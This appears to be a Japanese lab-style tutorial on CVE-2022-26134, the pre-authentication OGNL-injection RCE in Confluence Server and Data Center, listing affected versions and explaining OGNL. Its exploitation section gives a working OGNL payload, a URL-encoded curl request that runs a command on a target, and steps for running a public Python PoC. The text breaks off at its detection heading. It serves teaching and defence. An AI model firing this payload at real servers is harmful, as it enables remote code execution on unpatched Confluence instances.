OGNLインジェクションによるConfluenceの事前認証リモートコード実行（CVE-2022-26134）

2022年5月30日、Volexityという組織が、AtlassianのConfluence ServerおよびData Centerエディションに、認証なしのRCE脆弱性（NISTで9.8点）を確認しました（https://www.atlassian.com/software/confluence）。

Confluenceは、チーム向けの共同ドキュメント作成・プロジェクト管理フレームワークです。Confluenceは、メンバーに一元化されたワークスペースを提供することで、プロジェクトのステータス追跡を支援します。

このCVEの影響を受けるConfluenceのバージョンは次のとおりです:

• 1.3.0 -> 7.4.17
• 7.13.0 -> 7.13.7
• 7.14.0 -> 7.14.3
• 7.15.0 -> 7.15.2
• 7.16.0 -> 7.16.4
• 7.17.0 -> 7.17.4
• 7.18.0 -> 7.18.1

CVE-2022-26134のNISTエントリはこちらで確認できます（https://nvd.nist.gov/vuln/detail/CVE-2022-26134）。

このCVEは、Java用のOGNL（Object-Graph Navigation Language）式言語内の脆弱性を利用しています。OGNLは、Javaオブジェクトのプロパティを取得・設定するために使用され、その他にも多くの用途があります。

たとえば、OGNLはテキストボックスなどのフロントエンド要素をバックエンドオブジェクトにバインドするために使用され、ConfluenceなどのJavaベースのWebアプリケーションで使用できます。以下のスクリーンショットで、OGNLがどのように使用されているかを確認できます。値はWebフォームに入力され、これらの値はアプリケーション内のオブジェクトに格納されます。

悪用

OGNLが変更可能であるという事実を悪用できます。エクスプロイトをテスト・確認するためのペイロードを作成できます。

OGNL内のこの脆弱性を悪用するには、HTTP GETリクエストを作成し、URI内にペイロードを配置する必要があります。たとえば、Javaランタイムに、サーバー上でファイルを作成するなどのコマンドを実行するよう指示できます: "${@java.lang.Runtime@getRuntime().exec("touch /tmp/thm/")}/"。

これはURLエンコードする必要があります。このウェブサイトを使用すると、ペイロードをURLエンコードできます（curlペイロードの末尾は$2Fではなく「/」で終わる必要があることに注意してください）。 コマンド: user@host~ curl -v http://<target_ip>:8090/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/thm%22%29%7D/ 次に、「ls /tmp」コマンドを実行して、上記のコマンドが正常に実行されたことを確認します。

動作するPoCエクスプロイトはいくつか存在しますが、ここではSamy Younsi（Mwqda）氏が作成し、Pythonで書かれてGitHubで公開されているPoCを紹介します（https://github.com/h3v0x/CVE-2022-26134）。

• リポジトリをクローンします
• そのディレクトリに移動します
• "python3 exploit.py -u <target_url> -c " を実行します

検出